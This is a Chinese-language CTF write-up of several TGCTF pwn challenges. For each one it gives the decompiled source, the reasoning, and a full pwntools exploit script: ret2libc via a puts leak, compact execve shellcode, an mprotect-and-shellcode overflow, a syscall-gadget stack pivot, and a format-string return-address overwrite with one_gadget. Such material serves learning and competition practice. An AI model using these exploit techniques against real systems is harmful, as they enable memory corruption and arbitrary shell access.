签到 直接打ret2libc,泄露puts,板子题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *from LibcSearcher import *p=remote('node1.tgctf.woooo.tech' ,30216 ) libc=ELF("./libc.so.6" ) elf=ELF('./pwn' ) move=0x070 def get_addr (): return u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) pop_rdi=0x0000000000401176 ret=0x000000000040101a function_got=elf.got['puts' ] function_plt=elf.plt['puts' ] main=0x401178 payload1=b'a' *(move+8 )+p64(pop_rdi)+p64(function_got)+p64(function_plt)+p64(main) p.recvuntil("leave your name." ) p.sendline(payload1) target_addr=get_addr() addr=target_addr-libc.symbols['puts' ] binsh = addr + next (libc.search(b'/bin/sh\0' )) system = addr + libc.symbols['system' ] payload2=b'a' *(move+8 )+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system) p.sendline(payload2) p.interactive()
shellcode 题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 __fastcall main (int a1, char **a2, char **a3) { void *buf; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); puts ("hello hacker" ); puts ("try to show your strength " ); buf = mmap(0LL , 0x1000u LL, 7 , 34 , -1 , 0LL ); read(0 , buf, 0x12u LL); mprotect(buf, 0x1000u LL, 4 ); sub_11C9(buf); return 0LL ; }
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
mmap开辟buf区域可读可写可执行
1 mprotect(buf, 0x1000uLL, 4);
修改刚才那块内存的权限为 4
,也就是只读 PROT_READ
。
这一步是有趣的安全限制 ,为了防止你之后再去改shellcode(但并不会影响代码的执行)
sub_11c9,jmp rdi; 跳转buf执行buf里面的shellcode。
64位execve调用号
`execve()` 的构造是:
- `rax = 59` (`0x3b`)
- `rdi = const char *filename` → 指向字符串 `"/bin/sh"`
- `rsi = char *const argv[] = NULL`
- `rdx = char *const envp[] = NULL`
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 所以我们要实现吧/bin/sh赋给rdi,这里用栈上的偏移来赋值,将rax置为59,然后调用syscall ```python from pwn import * context(log_level='debug',arch='amd64') #a=process('./pwn') a=remote('',63498) shellcode=asm(''' add rdi, 0xb mov al, 59 syscall ''')+b"/bin/sh" a.recvuntil('strength ') print(len(shellcode)) a.send(shellcode) a.interactive()
overflow 程序源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[200 ]; int *p_argc; p_argc = &argc; setvbuf(stdin , 0 , 2 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stderr [0 ], 0 , 2 , 0 ); puts ("could you tell me your name?" ); read(0 , name, 256 ); puts ("i heard you love gets,right?" ); gets(buf); return 0 ; }
gets存在栈溢出,程序静态编译,name可以读入256
思路:利用mprotect更改name所在的bss段权限,shellcode写到name,栈溢出返回name段执行shellcode
读入0xd0-8个垃圾数据,下一个读入的就是ecx的值,由于ret到【ecx-4】的地址,我们令ecx为name+4,既可以劫持程序执行流到name
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * context(log_level='debug' ,arch='i386' ,os='linux' ) io=process('./pwn' ) mprotect=0x8070a70 name=0x80ef320 shellcode =p32(mprotect)+p32(name+0x14 )+p32(0x80ef000 )+p32(0x1000 )+p32(7 )+ asm(shellcraft.sh()) io.recvuntil(b'could you tell me your name?\n' ) io.sendline(shellcode) payload=b'a' *(0xd0 -8 )+p32(name+4 ) io.recvuntil(b'i heard you love gets,right?\n' ) io.sendline(payload) io.interactive()
stack 源码
1 2 3 4 5 6 7 8 9 10 11 __int64 __fastcall main (int a1, char **a2, char **a3) { setbuf (stdin, 0LL ); setbuf (stdout, 0LL ); setbuf (stderr, 0LL ); std::operator <<<std::char_traits<char >>(&std::cout, "welcome! could you tell me your name?\n" ); read (0 , &unk_404060, 0xA8uLL ); std::operator <<<std::char_traits<char >>(&std::cout, "what dou you want to say?\n" ); sub_4011FA (); return 0LL ; }
1 2 3 4 5 6 7 8 9 void *sub_4011FA () { signed __int64 v0; char buf[56 ]; void *retaddr; v0 = sys_read (0 , buf, 0x50uLL ); return retaddr; }
看这一段汇编
这个位置比较了rbp+0x28和rbp+8的位置,jnz如果如果一样则不跳转,不一样则跳转到4011B6
看看0x4011B6执行了啥
发现在这个函数中是根据buf上的数据进行一些操作的
可以通过pwndbg详细看一下参数
所以我们思路就是溢出跳转到这里,在第一次输入的时候布置好寄存器,利用这里的syscall执行execve(/bin/sh,null,null),从而getshell
1 2 3 4 rax = 59 → execve 系统调用号 rdi = 0x4040a0 → 指向 "/bin/sh" 的指针 rsi = 0 → argv 为 NULL(或者指向一个 NULL 数组) rdx = 0 → envp 为 NULL
分析可以知道rcx与rsi是0x4040c0
rax是0x4040a0
rdi是0x4040a0
rdx是0x4040b8
我们的输入是在0x404060处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *context(log_level='debug' ,arch='amd64' ,os='linux' ) a=process('./pwn' ) payload=b'/bin/sh\x00' +b'a' *(28 ) payload+=p64(0 ) payload+=p64(0 ) payload=payload.ljust(64 ,b'a' ) payload+=p64(0x3b ) payload+=p64(0x404060 ) payload=payload.ljust(0xa8 ,b'\x00' ) a.recvuntil(b'welcome! could you tell me your name?\n' ) a.send(payload) payload=b'a' *(0x50 ) a.recvuntil(b'what dou you want to say?\n' ) a.sendline(payload) pause() a.interactive()
fmt 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[88 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); puts ("Welcome TGCTF!" ); printf ("your gift %p\n" , buf); puts ("please tell me your name" ); read(0 , buf, 0x30u LL); if ( magic == 1131796 ) { printf (buf); magic = 0 ; } return 0 ; }
只有一次的格式化字符串,题目泄露了栈地址,当magic=1131796也就是0x114514的时候会触发格式化字符串,该值被初始化为0x114514,触发后会置为0
这种情况下,我们如果想利用格式化字符串泄露libc地址然后打one_gadget的话,至少需要两次格式化字符串。
所以思路是劫持printf(buf)执行完后的返回地址,这样可以不让magic置为0,将返回地址劫持到read函数就可以再进行一次格式化字符串
动调看一下printf的返回地址与所泄露的栈地址的偏移
可以发现,printf的返回地址是泄露的栈地址-0x8,我们可以利用这个地址进行格式化地址任意写,从而更改printf的返回地址
再顺便泄露一下libc地址
然后打onegadget
构造exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *context(log_level='debug' ,os='linux' ,arch='amd64' ) a=process('./pwn' ) libc=ELF('./libc.so.6' ) elf=ELF('./pwn' ) a.recvuntil('your gift ' ) stack_addr=int (a.recv(14 ),16 ) log.success('stack_addr=' +hex (stack_addr)) ptintf_got=0x403fe0 read_addr=0x40123d ret_addr=stack_addr-0x8 a.recvuntil(b"please tell me your name" ) main_addr=0x4011b6 payload=b"bb%39$p%" +str (read_addr-0x10 ).encode()+b'c%10$n' print (len (payload))payload=payload.ljust(0x20 ,b'a' ) payload+=p64(ret_addr) a.sendline(payload) a.recvuntil(b'bb' ) libc_start_main=int (a.recv(14 ),16 )-128 libc_base=libc_start_main-libc.sym['__libc_start_main' ] log.success("libc_start_main_addr=" +hex (libc_start_main)) log.success("libc_base=" +hex (libc_base)) one_gadget=libc_base+0xe3b01 ret=stack_addr+0x68 lower=one_gadget & 0xffff higher=(one_gadget >> 16 ) & 0xff payload=b'%' +str (higher).encode()+b'c%10$hhn' +b'%' +str (lower-higher).encode()+b'c%11$hn' payload=payload.ljust(0x20 ,b'a' ) payload+=p64(ret+2 )+p64(ret) a.sendline(payload) a.interactive()